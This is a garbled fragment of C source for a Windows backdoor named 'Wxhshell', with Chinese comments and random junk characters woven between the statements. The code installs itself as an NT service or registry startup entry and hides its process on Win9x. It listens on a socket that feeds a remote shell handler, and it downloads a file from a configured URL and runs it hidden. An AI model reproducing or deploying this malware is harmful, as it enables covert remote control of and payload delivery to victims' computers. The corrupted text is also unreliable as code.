O\I7m }Bc'(2A;, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P)1@HDN== g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KrMIJA4> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |GK [I -J[zJ4z# if (!NtQueryInformationProcess) return 0; :FG}k Y ZhxMA*fL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6$ IXER if(!hProcess) return 0; n,PHfydqX F1M@$S, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pdf_{8r FAM`+QtNw CloseHandle(hProcess); 4Xz6JJ1U[H YD.3FTNGC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -mY90]g if(hProcess==NULL) return 0; ~|DF-t
V FT|*~_@ HMODULE hMod; 7IK<9i4O char procName[255]; X'kw5P!sq unsigned long cbNeeded; 3BY/&'oX bx6@FKns} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l06 q1M 3 <(f4#BP CloseHandle(hProcess); Y\+^\`Tqu H~ks"D1 if(strstr(procName,"services")) return 1; // 以服务启动 .z[+sy_ %i.|bIhmm return 0; // 注册表启动 o8s&n3mY}y }
A:D\!5= $35Oyd3s< // 主模块 2Cr+Z(f int StartWxhshell(LPSTR lpCmdLine) >,] #~d { _I8-0DnOM SOCKET wsl; 5Q%#Z
L/' BOOL val=TRUE; s &.Z;X int port=0; SQ.4IWT(hR struct sockaddr_in door; ?-i|f_` kBONP^xI if(wscfg.ws_autoins) Install(); ko5\*!|:lj ;JZXSM-3 port=atoi(lpCmdLine); Etl7V .s!:p pwl if(port<=0) port=wscfg.ws_port; 1B1d>V$* <5X@r#Lz WSADATA data; iF%q6R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |hdh4P$+| JBwTmOvQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YLCwo]\+> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N!m%~},s// door.sin_family = AF_INET; }`MO}Pz door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Yj>~k:K door.sin_port = htons(port); HAiUFO/R Y{O&-5H^| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gSGe] closesocket(wsl); ^s?wnEo;j return 1; ,S5#Kka~a } _4W#6! cpy"1=K~M if(listen(wsl,2) == INVALID_SOCKET) { 7&QVw(:)M closesocket(wsl); $YC~02{ return 1; Q?tV:jogY } Yn#8uaU Wxhshell(wsl); 6,7omYof WSACleanup(); RasoOj$ 3K{8sFDO return 0; N<{`n; esHiWHAC
} "a
g_ ##5/%#eZ // 以NT服务方式启动 t#q>U%! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \fhT#/0N
{ ,YY#ed&l DWORD status = 0; Y;w]u_ DWORD specificError = 0xfffffff; [s/@z*,M1 ;1dz?'%V serviceStatus.dwServiceType = SERVICE_WIN32; |W <:rT serviceStatus.dwCurrentState = SERVICE_START_PENDING; aYgJTep>r serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yRYWx` G serviceStatus.dwWin32ExitCode = 0; A1q^E(}O serviceStatus.dwServiceSpecificExitCode = 0; V!P3CNK serviceStatus.dwCheckPoint = 0; m@@QT< serviceStatus.dwWaitHint = 0; (*ng$zZ$ .ndQ(B hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [FL I+;gY if (hServiceStatusHandle==0) return; wb[(_@eZ =5`@:!t7 status = GetLastError(); p5l$On if (status!=NO_ERROR) /;4MexgB% { Lm|X5RVq serviceStatus.dwCurrentState = SERVICE_STOPPED; &[RU.Q!_H serviceStatus.dwCheckPoint = 0; 0vp I#q serviceStatus.dwWaitHint = 0; 0I((UA/7Zs serviceStatus.dwWin32ExitCode = status; As|/
O7% serviceStatus.dwServiceSpecificExitCode = specificError; 'EV *-_k SetServiceStatus(hServiceStatusHandle, &serviceStatus); vI'>$ return; "^z=r]<5
} tTH%YtG Bx-,"Z \ serviceStatus.dwCurrentState = SERVICE_RUNNING; W~3tQ! serviceStatus.dwCheckPoint = 0; $0}bi:7 serviceStatus.dwWaitHint = 0; 3.X0!M;x if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "6yiQ\`J } 3+3m`%G F5+_p@!i // 处理NT服务事件,比如:启动、停止 ~,2hP
~ VOID WINAPI NTServiceHandler(DWORD fdwControl) 1fv~r@6s { h)8+4?-4I switch(fdwControl) "5:f{GfO#v { i@5%d!J case SERVICE_CONTROL_STOP: k!=GNRRZE serviceStatus.dwWin32ExitCode = 0; i8_x1=A serviceStatus.dwCurrentState = SERVICE_STOPPED; a~F@3Pd serviceStatus.dwCheckPoint = 0; WV1 Z serviceStatus.dwWaitHint = 0; q_y,j& { jHlOP,kc SetServiceStatus(hServiceStatusHandle, &serviceStatus); %8CT -mQ } +esNwz_ return; ^:DhHqvK case SERVICE_CONTROL_PAUSE: n/oipiYx serviceStatus.dwCurrentState = SERVICE_PAUSED; BddECY,z break; jne9=Als5 case SERVICE_CONTROL_CONTINUE: i
`QK'=h[ serviceStatus.dwCurrentState = SERVICE_RUNNING; U?fN3 break; 19 wqDIE0 case SERVICE_CONTROL_INTERROGATE: c4>sE[] break; *rcuhw"^b# }; I.+)sB?5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); VnSj:LUD } * \o$-6<
I49l2> // 标准应用程序主函数 h2"|tTm,a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OZ!$%.?l { 207 O["Y *76viqY;dE // 获取操作系统版本 B_"OA3d_ OsIsNt=GetOsVer(); )xvx6?Ah| GetModuleFileName(NULL,ExeFile,MAX_PATH); X!rQ@F3 qN1 -plY // 从命令行安装 '+!S|U,{ if(strpbrk(lpCmdLine,"iI")) Install(); HM@}!6/s R8[iXXjku // 下载执行文件 J`+`Kq1T if(wscfg.ws_downexe) { ?$J7%I@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
AZy~Q9Kc WinExec(wscfg.ws_filenam,SW_HIDE); h76NR } Sz|Y$, }^pQbFku if(!OsIsNt) { o7Cnyy#: // 如果时win9x,隐藏进程并且设置为注册表启动 -?aw^du HideProc(); ,dZ#,< StartWxhshell(lpCmdLine); y4/>Ol] } W"-EC`nP else v$)@AE if(StartFromService()) xMSNrOc // 以服务方式启动 =nvAOvP{? StartServiceCtrlDispatcher(DispatchTable); iM/*&O} else r%y;8$/- // 普通方式启动 fXu~69_ StartWxhshell(lpCmdLine); Ej+]^t$\
1o|0x\ q return 0; hsHVX[<5` }
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